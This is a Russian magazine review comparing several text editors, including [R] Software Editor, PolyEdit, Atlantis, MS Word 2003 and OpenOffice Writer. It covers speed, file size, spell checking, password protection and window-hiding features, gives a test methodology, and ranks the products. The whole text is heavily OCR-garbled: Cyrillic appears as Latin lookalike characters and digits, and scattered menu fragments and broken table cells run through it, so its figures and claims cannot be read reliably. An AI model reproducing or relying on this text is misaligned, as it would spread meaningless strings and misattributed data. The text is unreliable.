TecTe ohh 6yAyr hath BHe KOHKypca h 
TOJIBKO AilH CpaBHeHHH. OCTaJIBHBie xce 
npeACTaBJHHOT C060H MHOrOOKOHHBie 
TeKCTOBBie pe^aKTOpBI C B03M0JKH0CTBK) 

(JiopMaTHpoBaHHH TeKCTa. KpoMe RTF b 
hhx HanpHMyio hjih nepe3 KOHBepTep 
no aa^PvKhb aiOTcn Apyrne nonyjinpHBie 
(JiopMaTBi, Tarae KaK DOC, HTML, 
TXT. CymecTByiOT Taxace co6cTBeHHBie 




nPOrPAMMbl B CTATbE 


Atlantis Word Processor 1.6 

O 

PolyEdit 5.0 RC Altiplano 

o 

[R] Software Editor 1.3 

o 

Microsoft Office Word 2003 

0pen0ffice.org Writer 2.0.3 

L 

A 


(JlOpMaTBI COXpaHeHHH (JmHJIOB, B KOTO- 
pBIX MaKCHMajiBHO peaJIH3yiOTC51 B03- 
MOJKHOCTH 3THX npOTpaMM. /JaHHBie 
peAaKTOpBI H3BeCTHBI npOABHHyTBIM 
nojiB30BaTejiHM, nacTO ynoMHHaiOTCH b 


PeflaKTop, HaM/iyHiiJMM o6pa30M oTBenafo- 
u\m Tpe6oBaHM5iM Macro nmiiyuero no/ib- 
30BaTe/in, AO/DKeH o6BaflaTb KaK MMHMMyM 
c/ieflyfoiAHMM KanecTBaMM. 

✓ BbICTpOTa OTKpblTMfl M coxpaHeHMB 
60 JlbLUMX AOKyMeHTOB. 

BbicoKan CKopocTb pa6oTbi peflaKTopa 
noBbiwaeT 3c(K(DeKTMBH0CTb Tpyfla. 

✓ MacKwpoBKa m CKpbiTMe c(}aKTa mc- 
no/ib30BaHMB no ropaqeM K/iaBmiie. 
ripn yCTaHOBKe 3 HaHeHMM np 03 paHH 0 CTM 
nop^flKa 60-80% okho nporpaMMbi npo- 
naAaeT c 3 KpaHa A-nfl nodopoHHero 
B 3 rnnAa, ocraBancb bmammum onepaTopy. 
rioflBBeHMe m 6ecc/ieAHoe MCHe 3 H 0 Bem/ie 
no HawaTMK) oahom K/iaBMUJM AaeT a ono/i- 
Hme^bHbie rapaHTMM 6 e 3 onacHocTM. 

✓ KOMnaKTHOCTb B AMCTpM6yTMBe M pa3- 
BepHyTOM BMAe, Heipe6oBaie/ibHocTb k 
pecypcaM, MMHMMa/ibHbie M3MeHemiB b 
CMCTeMe npw yCT3H0BKe, B03M0>KH0CTb 
pa6oTbi c BHeuiHero hocmtcjib. 
KOMnaKTHOCTb m B03M0>KH0CTb pa6oiaTb 

c BHeiiJHero HOCMTe/in 6e3 ycraHOBKM b 
CMCT eMe n03B0JlMT M36e>KaTb o6BflCHeHMM 

c CMdeMHbiMM aAMMHMCTpaiopaMM no no- 
BOAy MHCTa/UlHAMM AOnOJIHMTe/lbHOrO 
nporpaMMHoro o6ecneneHMfl. 

✓ Pa6oia c Ta6/iMAaMM, KapTMHKaMM 

M CJlOHCHblM C^OpMdTMpOBdHMeM. 

Be3 0C|)0pMJieHMfl pa3HblMM LUpMCfnaMM, 
B03M01KH0CTM BCT3BKM Ta6/1MA M M306pa- 
>KeHMM CoBpeMeHHbm AOKyMeHT npeAda- 
BMTb TpyAHO. 

✓ COBMeCTMMOCTb c cfeopMaiaMM. 

llocKOBbKy y Hac CTaHAapTOM Ae-cJiaKTO 
>3 B/ineTcn Microsoft Office, KaK npaBM/io, 
noAana MaiepMa/iOB ocyLAecTB/ineTcn 
b cf)opMaTe DOC — «poahom» ((DopMaie 
MS Word. TaK>Ke He/iMiiiHeM 0Ka3biBaeTC5i 
B 03 M 0 )KH 0 CTb COXpaHeHM 51 B RTF. fl/lfl 
ny6/iMKai4 MM b CeTM o6fl3aTe/ibHO yMeHMe 
TeKCTOBoro peAaKTopa co3AaBaTb cJiaM^bi 
c paciiJMpeHMeM HTML. 


KOH^epeHAHnx h Ha caiiTax KaK 3a- 
MeHHTejin MS Word. Bee peAaKTOpBI 
HMeiOT bo3mojkhoctb op(J)orpa(J)HHec- 
Koro aHajiH3a TeKCTa. npoBepKa chh- 
TaKCHca He npeAycMOTpeHa. 


✓ MHorooKOHHOCTb, cjDyHKUMB npoBepKM 
opc|}orpa((}MM, ciaTMCTMKa, /lMTepaiyp- 

HblM aHa/1143 M KOppeKUMB 0 UJIi 60 K. 

MHorooKOHHocTb — o65i3aie^ bHoe yc/io- 
BMe ati^ ycneiaHOM npaBKM TeKCTa, HanM- 
caHMfl KOMMemapMeB, cnmwm m nepe- 

CTaHOBKM a63aiteB, KOppeKTMpOBKM 
cfo>KeTHbix /iMHMM. 0pcf)orpac|3MHecKMe 
011 Jm6kM — 6mm C03AaHHblX C nOMOLAbK) 
KOMnbfOTepa TeKCTOB, noaTOMy b TeKCTO- 
bom peAaKTope o6fl3aTe/ibHo AO/DKHbi 
npMcyTCTBOBaTb cjoy h k ui/i m aBTOMaTMHec- 
kom npoBepKM npaBM/ibHOCTM HanMcaHMn 
CJIOB M paCCTaHOBKM 3H3KOB npenMHaHM5i. 
fljifl Tex, kto nMiaeT xyAO>KecTBeHHbie 
npoM3BeAGHMn, no/ie3HbiM OKa>KeTC5i 
6 jiok ^MTepaTypHoro aHa/iM3a, nycTb 
Aa>Ke b 3anaT0HH0M cocto^hmm. 

✓ CrpyKTypupoBaHne AOKyMemoB 
(Kaia/iorii M36paHHoro, 3aK/iaAKn). 
B03M0)KH0CTb C03AaHM51 CTpyKTypbl T3K)Ke 
53 B/l 53 eT C53 COBepmeHHO Heo6xOAMMblM 
CBOMCTBOM OpMeHTHpOBaHHOTO TeKCTOBO- 
ro peAaKTopa, oco6eHHo ec/iM Bbi pa6oTa- 
eTe c 6ojibmMMM TeKCTaMM. rionpo6yMTe 
HaMTM Heo6xoAMMbm a63au b TeKCTe, co- 
CT05UAeM M3 500-800 TblC53H 3HaKOB 
(o6beM He6o^biaoro poMaHa). 

✓ Aono/iHMTejibHbie cepBMCHbie bo3- 
MO>KHOCTM, CBB3dHHbie C OCHOBHOM 
pa6oTO m no/ib30BaTe/i5i. 

K npMMepy, TaKOBOM Moma 6bi 6biTb bo3- 
MO)KHOCTb C03AaHMH 6a3bl AaHHbIX B BMAe 
a/lC|DaBMTHOM 3anMCHOM KHM1KKM, cnMCKa 
Ae/i m npoHMx HanoMMHanoK. 

1/lTaK, 6a30Bbie B03MO>KHOCTM TeKCTOBbIX 
peAaKTOpOB, OpMeHTMpOBaHHbIX Ha TBOp- 
necTBO, A-n^ HaM6o^bmeM BOCTpe6oBaHHoc- 
TM AOJDKHbl MaKCMMa/lbHO OTOMTM OT MAeO- 
jiotmm nMiayneM MaiaMHKM. BeAb b omMHMe 
ot AonoTonHoro «peMMHTTOHa» KOMnbfOTep 
AO/DKeH noMoraTb Ha6MpaTb tckct 6e3 oium- 
6ok, He HanparaTb naM/iTb m mmhmmm3mpo- 
BaTb pyTMHHbie onepauMM. 


Tpe6oBaHMe k no6eAme/iK) 



HB3? TEST & TECHNICS Teci 


BycJjep o 6 MeHa 

BMflMMbie b oKHe 6ycf)epa o6MeHa neibipe 
CTpoKM c 70 CMMBO/iaMM He BcerAa xapaK- 
TepH3yK)T CKOnMpOBaHHblM TeKCT. 
0co6eHHo 3 to Kacaera noxo>Knx (JjopM, 
HaHMHafOlAMXCfl CTaHflapTHblM o6pa30M, 
HanpMMep OTHeTHOCTM. 

Ecjim penb HfleT o AanHbix M3 klHTepHeia, 

B CKOni/ipOBaHHOM TeKCTe MOryT nOflBMTb- 
cfl 3araAOHHbie cMMBO/ibi, TaK>Ke 3aipyAH5i- 
fOLAMe noHHMaHkie HanMcaHHoro. 
fljia KOMcjDopTHOM m 6bidpoM pa6oTbi jiyn- 
me KonMpoBaTb AaHHbie M3 pacKpbuoro b 
CB oePi nporpaMMe (}DaM,na-MCTOHHMKa, a 3a- 
TeM BCTaBji^Tb c|)parMeHT TeKda, Bbi3biBa*i 
pa6onee okho TeKCTOBoro peAaKTopa ro- 
p53HeM kji a B mu e M . 


Pa3Mep, 6bicTpofleNCTBne, 
3arpy3Ka CNCTeMbi 

B nepBOM 6jiOKe TecTOB HccjieAOBajmcb 
KpaftHe BaxHbie napaMeTpbi, bo MHoroM 
onpeaejTBKDLixHe yaodcTBO nojib30BaHHH h 
pa6oTOcnoco6HOCTb nporpaMM. Oxa3a- 
jiocb, hto TeKCTOBbie peaaKTopbi koht- 
pojibHOH rpymibi conocTaBHMbi no 3aHH- 
MaeMOMy Ha ahckc npocTpaHCTBy. 

Atlantis HeMHoro 6bicTpee OTKpbiBaeT 
AOKyMeHTbi, coxpaHneT b cjiopMaTe RTF 
n aeJiaeT nx 6ojiee KOMnaxrabiMH, Hence - 
jih ocTajibHbie peaaKTOpbi kohtpojib- 
hoh rpynnbi. [R] Software Editor aobojib- 
hochjibho OTCTaeT ot ocTajibHbix npo- 
rpaMM no CKOpOCTH 3aMeH B TeKCTe. 
CydBeKTHBHO npn TnnnnHbix pa3Mepax 
4>anjiOB paccMaTpHBaeMbie peaaKTOpbi 
BbinojiHinoT onepaiinn npaxranecKH 
oanHaKOBO. npn coxpaHeHHH b codc- 
TBeHHblX (J)OpMaTaX KaK no CKOpOCTH, 
TaK n pa3Mepy nojiynaiomerocH cjiaiijia 
yBepeHHO jinanpyeT [R] Software Editor. 





TeKCTOBbIX peflaKTOpOB 

floxyMeHT, coaepxamnn 910 000 chm- 
bojiob (6e3 npodenoB), coxpaHHeTCH b 
4>anji RVF pa3MepOM 1,1 Mdaifr, b cjiop- 
MaTe RVP oh 3aHHMaeT 950 KdaHT. /Jjih 
cpaBHeHnn: tckct H3 910 000 chmbojiob, 
coxpaHeHHbin c TeM nee o(J)opMjieHneM b 
$ opMaTe DOC, 3aHHMaeT 3,6 Mdaifr. 

PafiOTa C T 6 KCT 0 M 


BcraBKa OopMaT Cepewc Ta6nwja 

OnuHH 

OK»a CnpaB 

r OPM30HT a/IbHafl 

PpTf 


^ Rinepccbi/iKa... 
FI PuCyHOK... 

■ 

m ail 


immi 

R' 1 ? Chmmok 3KpaHa 

► 

PaSo^HM CTOJ 

<Dawn... 


06nacrb 

fj Macromedia Flash 


AKTMBHOe OK 

'( BcraBUTb 3ByK. . . 


06beKT 

0 OopMyna 

► 

3anep>KKa ch 

[U Cmmbo/i... 

UJ| 



gc Aaia m BpeMfl 

Pa3pbiB crpannubi Ctrl+Enter 
YflamTb pa3pwB crpaHwjbi 



Oie/iy roman rpynna xapaxrepHCTHK Kaca- 
eTCiT B03M03CH0CTen (jDOpMaTHpOBaHHH H 
CTpyKTypnpOBaHnn tckctob. Poly Edit n 
[R] Software Editor no3BOjnnoT ncnojib30- 
BaTb rjw padoTbi c tckctom BHenmnn 
peaaKTOp. B arm ho m TecTe paccMaTpHBa- 
jincb codcTBeHHbie B03M0XH0CTH npo- 
rpaMM. Kax cneayeT H3 pe3yjibTaTOB, 
Atlantis oxa3ajicn He b coctohhhh ocy- 
mecTBjiHTb npOBepKy pyccKoro TexcTa, 
C03aaBaTb 3aicjiaAKH n rnnepccbniKH. Ilpn 
3 tom oh noHHMaji 3aKjiaaKH, nocTaBjieH- 
Hbie MS Word. B KanecTBe KOMneHcaann 
3a OTcyrcTBne oahoh H3 caMbix BaxcHbix 
(J)yHKn;HH nojib30BaTejib KOMMepnecxoro 
TeKCTOBoro peaaKTOpa Atlantis nojiynaeT 
HeHyacHyio (jiyHKHHK) HanncaH hh TeKCTa 
B HeCKOJIbKO KOJIOHOK. 

6e3onacHOCTb 

OyHKnnn 6e3onacHOCTH, KOTOpbie bkjho- 
naiOT b cedn bo3mo3choctb napojinpOBa- 
HHH, COXpaHeHHH B 3aKpbITOM (jDOpMaTe, 
cnocodHOCTb k MOMeHTajibHOMy Hcne3HO- 
BeHHio c 3KpaHa h Majio3aMeTHoro radopa 

TeKCTa, HBJIHHDTCH HeOTbeMJieMOH HaCTbK) 
coBpeMeHHoro TeKCTOBoro peaaKTOpa. 

Bee peaaKTOpbi ochobhoh rpynnbi 
cnoco6Hbi coxpaHHTb (jianjibi c napo- 
JieM, B TOM HHCJie C KpHnTOCTOHKHM 

HiHtjDpoBaHHeM. B (JiopMaTe RPV pe- 
AaKTOpa [R] Software Editor bo3moxc- 
ho ABOHHoe napojinpoBaHHe. IlepBbiH 
ypOBeHb aonyexaeT aocTyn k TexcTy 
C yCTaHOBJieHHbIMH OrpaHHHeHHHMH! 
3anpeT peaaKTHpoBaHHH, BbiaejieHHH 
TeKCTa, nenaTH. flaHHbie orpaHHneHHH 
MOHCHO yCTaHOBHTb KaK no OTAeJIbHOC- 

th, Tax h Bee BMecTe. Chhtb orpaHH- 
neHHH c RVP mohcho bboaom MacTep- 
napojiH (napojiH BTOporo ypOBHH). 
Bee TeKCTOBbie peaaKTOpbi ochobhoh 
rpynnbi no3BOJiniOT CKpbiBaTb okho 
H adopa TeKCTa. 3(J)(i)eKTHBHbiM cnoco- 
doM npeaoTBpameHHH CHHTbiBaHHH 
nOCTOpOHHHMH HH(J)OpMau;HH C 3Kpa- 
Ha KOMnbiOTepa h ckpmthh (jiaKTa 


s±\ 



EEZSBZ EEZ3Z333 Bee mimocTpauMM b 
CTaTbe CAejiaHbi c noMOiAbie [R] Software Editor 








EZEH333Z31 Ha Bbi6op flOCTynHO 20 cfimibT- 
poB, KOTOpbie tm6ko HacTpaMBatOTCH 


i tfi va-Jl WHiJWi Y/Al\l J M Mojkho flenaTb 
CHiiMKM OKHa, PaOoHero CTOJia hum oGbemoB 


npMMeHeHMe 


OflHOrO M3 3C|)Ct)eKT0B 


nOJ!E3HAfl (PVHKlWfl 


Pe^aKTupoBaHHe H3o6pa>KeHkiq 


300EKTbl 


3AXBAT H305PAMEHHH 


QMJlbTP «POSTERIZE> 


| Mepenwua 

^1 


jripo)KeKTop 



q T paccwpoBKa 
| Emboss 



J Posterize 


kv 

^ OrreHKM ceporo 
|MHE.epTMpOEaTb 
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pa6oTbi HBjiiieTCii pexHM np03panH0CTH. Ilo cobokyiihocth 
(J)yHKu;HH 6e3onacHOCTH [R] Software Editor najieKO odoineji 
TeKCTOBBie pe^aKTOpti ochobhoh h KOHTpojiBHBix rpynn. 

CepBNCHbie C|)yHKI(NN 

OyHKHHH jiHTepaTypHoro aHajiH3a peajiH30BaHBi tojibko b [R] 
Software Editor. IlporpaMMa b coctohhhh onpe^ejuiTB y^ejiB- 
hbih Bee cjiOBa b TeKCTe, HCKjnonaii npe^Jiom h MecTOHMeHira. 
TaiQKe HMeiOTcn bo3mo:»chocth, npHcymne «6ojiBinHM» pe^aK- 
TopaM: 6y4>ep odMeHa h aBTOKanHTajiH3au;HB (3aMem nepBOH 
6yKBBi b npe^JioxeHHH Ha 3arjiaBHyio). 

Bee TeKCTOBBie peflaxropBi tcctoboh rpynnBi cnocodHBi 
OTnpaBjiHTB coodmeHHH no ajiexrpOHHOH nonre. PolyEdit h 
[R] Software Editor b coctohhhh o6ohthcb 6e3 nocTOpoHHeii 
noMoniH. E-mail OTnpaBjineTCii codcTBeHHBiMH cnjiaMH. 
Atlantis, noApaxan moiijhbim tckctobbim penaxropaM, HcnojiB- 
3yeT noHTOByio nporpaMMy CHCTeMBi. IlpocMaTpHBaTB Be6- 
CTpaHHiiBi b coctohhhh tojibko [R] Software Editor. HTemie 
npOH3BOAHTC5i no CTaH^apTy W3C (6e3 noimepxKH CSS). Ele 
B^aBancB b TexHHnecKHe momchtbi, cxaxeM, hto CTpamniBi 
«ITp03Bi.Py», «CaMH3AaTa», 6ii6jiHOTeKH MoimcoBa pe^axrop 
BOCnpOH3BOAHT npaKTHHeCKH 6e3 HCKaxeHHH. 

Ilo eoBOKynHOCTH eepBHCHBix B03M03CH0CTen nporpaMMa 
[R] Software Editor o^epJKHBaeT yde^HTejiBHyio h 6e3oroBO- 
pOHHyio no6e#y b ^shhom 6jiOKe TecTOB. 

nOABCAGM MTOrU 

HTaK, MecTa paenpeAejinjiHCB cjienyiomHM o6pa30M: 


[R] Software Editor 1.3 — 1 MecTO 


PolyEdit 5.0 RC Altiplano — 2 MecTO 


Atlantis Word Processor 1.6 — 3 MecTO 


[R] Software Editor HaxoAHTcn b 30 He 30jiotoh cepeunHBi 
MQKJiy odBeMOM H (JiyHKIlHOHaJIBHOCTBIO, OTJIHHaeTCil yHH- 



KaJIBHBIM H BOCTpedOBaHHBIM HadOpOM eepBHCOB, B TOM HHCJie 
He BCTpenaiomHxcii b npyrax tckctobbix penaxropax. 3to 
oneHB xopomnii HHCTpyMeHT c BejiHKOJienHOH optohomhh- 
HOCTBK), fleTaJIBHOH npOpadOTKOH (jiyHKIlHH, HaCTpaHBaeMBI- 
MH rOpnHHMH KJiaBHHiaMH H npH 3TOM OAHOBpeMeHHO JieTKHH 
H MOHfHBIH. rHnepCCBIJIKH, H36paHHOe H OTJiaBJieHHH AaiOT 
B03M03CH0CTB KOMCjlOpTHO padOTaTB CO CJIOXCHBIMH UOKyMCH- 
TaMH. npOBepKa opcjiorpaclDHH no3BOjnieT yMeHBmHTB 


Panda Software 

Bo3bMM CBoe peiueHne 
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H33?TEST & TECHNICS Ted TeKCTOBbix peflaKTopoB 


1 

2 

3 

BHe KOHKypca 

BHe KOHKypca 


[R] Software 
Editor 1.3 




PolyEdit 5.0 
RC Altiplano 


Atlantis Word 
Processor 1.6.1 .3 


Microsoft Office 
Word 2003 


OpenOffice.org 
Writer 2.0.3 


6ecnnaTHO 



flOCTOMHCTBa 


Pe3ynbTaTbi TecTOB 


MHoroHucneHHbie ao- 
noriHmenbHbie cepBi/icbi, 
npoBepxa opcjDorpacjDi/ii/i 


noACBeTKa ci/iHTaKci/ica, 
npoBepKa opc|Dorpac|DMn, 
cfDopMaTi/ipoBam/ie 


HyMepapnn CTpam/ip, 
MacLUTa6i/ipoBaHi/ie TeKda 


CoxpaHeHne Aoxyiwen a 8,83 M6anT b RTF 


Pa3Mep, M6anT 

11,3 

51,3 

9,3 

30,7 

42,9 

BpeMH, c 

4,3 

4,6 

1,2 

7,5 

18,8 

CoxpaHeHne AOxyMema 8,83 M6anT b co6cTBeHHbix tfiopMaiax 

PacmnpeHne 

RVF/RVP 

ELF 

COD 

DOC 

ODT 

Pa3Mep, M6anT 

8, 9/3, 8 

3,2 

9,3 

18,9 

4,8 

BpeMfl, c 

1,3/12 

36,3 

14 

2,9 

18,3 

3arpy3Ka npopeccopa npn BbinojiHeHnn onepaunn 

Ha6op TexcTa *, % (He Gonbwe) 

5 

9 

23 

8 

3 

3aMeHa **, % 

99 

99 

99 

99 

99 

Bpen/ifl, c 

56 

20 

8 

3 

3 

TexHnnecKne xapaxTepncTnxn 

Pa3Mep AncTpnOyTMBa, M6ani 

2,24 

1,33 

3,77 

254 

135 

Medo Ha Ancxe npn mnnHHon nHCTammunn 
(BKmoHan cjioeapn), M6anT 

2,8 

1,2 

5,4 

242 

306 

naMBTb (npn npocioe), MfianT 

5,364 

7,08 

8,352 

9,6 

37 

npoBepxa pyccxon opcporpacpnn 

+/- 

b AnanoroBOM OKHe 

- 



npoBepxa cMHTaKcnca 

- 

- 

- 

+ 

- 

HaBnraunn n nepexoAbi 

3aKnaAKn 



- 



M36paHHoe 






rnnepccbmKn 



+/- 



CTpyKTypnpoBaHne 

noncK n 3aMeHa 



+ 

+ 

+ 

CnncKM 



+ 

+ 

+ 

Hywiepaunfl cipaHHA 

BPnn*** 

BPnn*** 

+ 

+ 

+ 

Kojiohkh 

- 

- 

+ 

+/- 

+ 

Be3onacHOdb 

CoxpaHeHne b 3aiuniueHH0M cpopMaie 

(PRV, EXE) 

- 

- 

(PDF) 

- 

Ebidpoe CKpbune OKHa no ropnnen xnaBnwe 


+/- 


- 

- 

PewnM npo3paHHocm 


- 

- 

- 

- 

KnaBnaiypa 

Haciponxa ropnnnx x/iaBnm 

+ 

- 




BnpTyanbHan xnaBnaiypa 

+ 

- 

- 

- 

- 

1/lHTepHeT 

OmpaBKa E-mail 



/- 

(nocpeACTBOM Clin ****) 

+/- 

(nocpeACTBOM Cfin ****) 

+/- 

(nocpeACTBOM Cfin ****) 

npocMOTp Be6-cipaHMu 


- 

- 



CoxpaHeHne b HTML 


- 

- 



CepBncbi 

MacLUTafinpoeaHne 

+/-(BPnn***) 

+/-(BPnn***) 


+ 

+ 

Chhmok axpaHa 


- 

- 

- 

- 

PepaxTop tpopMyji 


- 

- 

+ 

+ 

CoBMecmMOdb c c|]opMaTaMn MS Word 

HieHne/coxpaHeHne RTF 






HieHne DOC 

/- (BdaBKa (Jjanna) 


+/- 


+/- 

CoxpaHeHne DOC 

/- (3KcnopmpoBaHne) 

/- (3Kcnopn/ipoBaHne) 

/- 


+/- 


* Okooo 150 yflapoB/MiiH.; ** 30 427 3awieH; *** Pnn - pexuiM npeAnenaTHoro npocMOTpa; **** cnn - cncTer/wan noHTOBan nporpaMMa 
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MeTOflMKa 

TecTupoBaHM^ 

✓ TecTMpoBaHMe ocyiAecTB/m/iocb Ha 
pa3JiMHHbix KOMnbfOTepax — ot Pentium 
III flo oc(DMCHbix Pentium 4 m MOAe/ieM 
cpeAHen moiahoctm c AByflAepHbiMM npo- 
AeccopaMM Athlon. IJe/ibK) 6bmo cpaBHe- 
HMe napaweipoB TeKcroBbix peAaKTopoB 
b pa3/iMHHbix KOHcf)MrypauM5ix cncreM. 

Bee nporpaMMbi ycraHaB/iMBa/incb Ha 
KOMnbfOTep c napaMeipaMM noyMO/ma- 
HMfO B CTaHAapTHbIX BepCM51X. HMC/lOBbie 
3HaHeHM5i 6bi/in no/iyneHbi Ha oahom m 3 
MaiuMH c npoueccopoM Athlon 3200, 

1 T6aMT 03Y n ycraHOB/ieHHon 0C 
Windows XP SP2. 

Pa3Mep AHCTpn6yTMBa onpeAe/m/ic/i 
no 3anpamnBaeMOMy MHcra/i/iflTopoM 
nporpaMMbi mcctom Ha AMCKe. 3arpy3Ka 
npoueccopa n BbiAe/ieHne naM/nn koht- 
po/inpoBa/incb npn noMOiAM AMcnemepa 
3aAan Windows. Cnoco6 He c/imlukom 
TOHH biM, OAHaKO b AaHHOM c/iynae BnO/1- 
He npneM/ieMbin. Teci 3arpy3KM npouec- 
copa ocyiAecTB/ifl/icfl npn Ha6ope TeKda 
co CKopocrbK) oko/io 150 yAapoB B MM- 
Hyiy. llpnMepHa/i CKopocTb Ha6opa 
npeABapme/ibHO onpeAe/m/iacb npn 
noMOiAM M3BecTHoro K/iaBnaTypHoro 
TpeHa>Kepa «Co/io Ha K/iaBnaiype». 

Teci 3aMeHbi npoBOAM/ic/i b TeKCTOBOM 
c|)an/ie pa3MepoM 440 K6anT, rAe BMec- 
to 6yKB A 6b i/in noAdaB^eHbi 0. 
BpeMeHHbie npoMe/KyTKM onpeAe/m/incb 
np n noMOiAM 3/ieKTpoHHoro ceKyHAOMe- 
pa OT MOMeHTa Ha/KaTM51 COOTBeTCTByK)- 
LAen k/i a b n lu n ao ncHe3HOBeHM5i 3HaKa 
o>KMAaHM5i KOHua onepaunn. 


BSU? yqacTHiiKii Tecia 


[R] Software Editor 1.3 

Becn/iaTHbin MHorooKOHHbin TeKCTOBbiM peAaKTop, o6/iaAaK)LAnn p/iAOM yHMKa/ibHbix 
XapaKTepMCTMK. 3TO, HanpMMep, B03MO>KHOCTb yCTaHOBKM np03paHHOCTM OKHa peAaKTO- 
pa, MOMeHTa/ibHoe 6ecc/ieAHoe CKpbiTne n OTKpbime OKHa no rop/men K/iaBnwe. fl/m 
npoBepKM opc|DorpactDMM mo>kho ncno/ib30BaTb noAK/ifonaeMbie c/iOBapn. C MS Office 
2002 n 6o/iee paHHMMM Bepcn/iMM oh n nocraB/i5iK)TC5i b KOMn/ieKTe n noAK/iiOHaiOTC/i aB- 
TOMaTMHecKM. B nporpaMMe ncno/ib3yiOTC5i co6cTBeHHbie cJ/opMaTbi RVF n RVP (c>KaTbie 
M C B03MO>KHOCTbK) 3aiAMTbl napO/ieM). Edb 3aKpblTblM (fopMaT 3/ieKTpOHHOM KHMTM. 

B (fopMaiax RVP m EXE npeAycMOTpeHO 3anpeiAeHne KonnpoBaHM/i TeKda n neHarn. 

Edb B03M0>KH0CTb peAaKTnpoBaHn/i bo BHeidHeM peAaKTope. [R] Software Editor b co- 
cto5ihmm Ae/iaTb chmmkm 3KpaHa n pa6onnx o6/iacren. K no/iyHeHHbiM M3o6pa>KeHn5iM 
mo>kho npnMeH5iTb Hecjio>KHbie 3cf)c|3eKTbi He BbixoAfl M3 peAaKTopa. Cn/iaMn nporpaMMbi 
mo>kho HMTaTb Be6-crpaHMAbi m OTnpaB/mTb e-mail. [R] Software Editor MMeeT pyccKnn 
MHTepcjDeMC m 6ecn/iaTHa /KMTe/ien 6biBwero CCCP. 

PolyEdit 5.0 RC Altiplano 

3TOT MOIAHbIM TeKCTOBbiM peA3KT0p n03B0J15ieT pa36MBaTb TeKCT Ha KO/IOHKM, BCT3B- 
/151Tb Ta6/iMAbi, KapTMHKM m MHoroe Apyroe. EcTb noACBeTKa CMHTaKCMca. K co/Ka/ieHnio, 
MHTepcj/enc nporpaMMbi TO/ibKO Ha aHr/inncKOM 5i3biKe. 3aTO npoBepKa pyccKon opcfior- 
pac|)MM ocyiAecTB/i5ieTC5i npM noMOiAM co6cTBeHHoro c/iOBap/i, BxoAfliAero b 6a30Byio 
nocTaBKy. TaK>Ke ecTb B03MO>KHOCTb noAK/iK)HeHM5i 3HAMK/ioneAMHecKoro c/iOBapri Ha 
aHr/iMMCKOM 5i3biKe. KpoMeToro, npeAycMOTpeHO peAaKTMpoBaHMe bo BHeuiHeM peAaK- 
Tope. fl/151 >KMTe/ieM Poccmm perncTpaun5i 6ecn/iaTHa. 


Atlantis Word Processor 1.6 

flaHHbIM TeKCTOBbiM peA3KT0p 06/iaAaeT B03M0>KH0CT51MM JlMHeMHOrO M nOCTpaHMHHOTO 
npOCMOTpa, BCTaBKM HyMepaAMM M KO/lOHTMTy/lOB. Pa60Ty OKMB/15UOT 3ByKOBbie 3Cf)C|DeKTbl 
npM Ha6ope TeKCTa m Bbino/iHeHMM onepaunn. OTpnuaTe/ibHbie MOMeHTbi: no KpanHen 
Mepe trial-BepcM5i peAaKTopa jiMineHa opcf)orpac|DMHecKOM npoBepKM pyccKoro 5i3biKa. Ha 
caMTe npeA/iaraiora a^i^ CKaHMBaHM5i pa3/iMHHbie c/iOBapM KpoMe pyccKoro. EcTb B03- 
MO)KHOCTb nOAK/lK)HeHM51 3HAMK/10neAMHeCKOrO CJlOBapri Ha aHT/lMMCKOM 513blKe, OAHaKO 
oh npaKTMHecKM He npMroAeH f\ns\ pyccK05i3biHHoro no/ib30BaTe/i5i. K co>Ka/ieHMK), He 
noAAep>KMBaeTC5i pa6oTa c Ta6/iMuaMM. l/lHTepcfieMC TO/ibKO Ha aHr/iMMCKOM 5i3biKe. 

^ i 


KOJinnecTBO ohihOok ao npneMjieMoro 
ypOBHH. C noMoniBK) [R] Software Editor 
MOvKHO npOBeCTH nOJIHBIH AHKJI co3Aa- 
HHB npOH3BeAOHH5I — OT HaGopa TeKCTa 
AO peAaKTHpOBaHHH, npaBKH h ne^ara. 

PenaKTop 6yaymero 

KaKyio eme pa6oTy moxho nepejioxHTB 
Ha ojieKTpOHHBie uirnbi? 

B nepByio onepeAB oto xoponiHH, pa3- 
bhtbih Te3aypyc. Ha ceroAHHuiHHH a^hb 
CJIOB apB CHHOHHMOB, CymeCTByiOIAHH B 
MS Word, mhtko TOBOpH, cjia6oBaT. 

HeJIHIHHHM 6BIJIO 6bl HaJIHHHe xopo- 
hio npopa6oTaHHOH npoBepKM ckhtak- 
CHca. npoBepKa op(j3orpad)HH Morjia 
6 bi 6bitb 6ojiee pa3BHTOH. Jlynine Bcero, 
Ha Ham b3tjiha, 3Ta (j/yHKAHB peajiH30- 


BaHa b TeKCTOBOM peAaKTope AfterScan 
(www.afterscan.com). 

OneHB BOCTpe6oBaHHOH OKa3ajiacB 6 bi 
H e HMeiomaH Ha ceroAHBmHHH aohb aHa- 
JIOTOB (J>yHKHH5I BBIAeJieHHB OAHHaKOBBIX 
H OAHOKOpeHHBIX CJIOB. 

TeKCTOBBiH peAaKTOp AOJiaceH 6 bitb b 
COCTOHHHH OnpeAeJMTB yACJIBHBIH Bee 
CJIOBa B TeKCTe, MaKCHMaJIBHBie, MHHH- 
MajiBHBie h cpeAHHe npOMexcynai MexAy 
OAHHaKOBBIMH CJIOBaMH. 

H xe jiaHHBiM , ocodeHHO ajm aBTOpa 
XyAOXeCTBeHHBIX npOH3BeACHHH, 6buio 
6bi npHcyrcTBHe (J)yHKu;HH (J)OHOceMaH- 
THnecKoro aHajiH3a aji# BBiAejieHHoro 
TeKCTa H BBOAHMBIX CJIOB, a TaiGKe 6jIOKa, 
aHajiH3HpyioiAero npeAJioxeHira h npeA- 
jiaraioiAero BapnaHTBi H3MeHeHH5i bbo- 


Ahmoto TeKCTa Ha 0(J)0pMjieHHBiH no 
BceM npaBHjiaM pyccKOH pHTOpHKH. 

B HAeajie mojkho 6 buio 6 bi npeACTaBHTB 

TeKCTOBBiH peAaKTOp, 0d>0pMJI5H0IAHH 
OTpBIBOHHBie, 6eTJIBie, pa3p03HeHHBie 
3aMeTKH B TeKCTBI COTJiaCHO 3aAaHHOMy 
CTHJHO, C B03M03CH0CTBK) odyneHHH Ha 
KaKHx-jiH6o o6pa3u;ax. 

HaAeeMca, hto HaHAyTcn jiioah, KOTOpBie 
3aXOTHT Ha npaKTHKe BOIUIOTHTB BBICKa- 
3aHHBie b CTaTBe noxejiaHHH. He hckjiio- 
neHO cymecTBOBaHHe hhbix tohck 3pemiH 
Ha AaJiBHeHmyio obojhohhio tckctobbix 
peAaKTopoB, OAHaKO HejiB3n He comacHTB- 
CH C TeM, HTO OHM eil AOJITO 6yAyT COBep- 
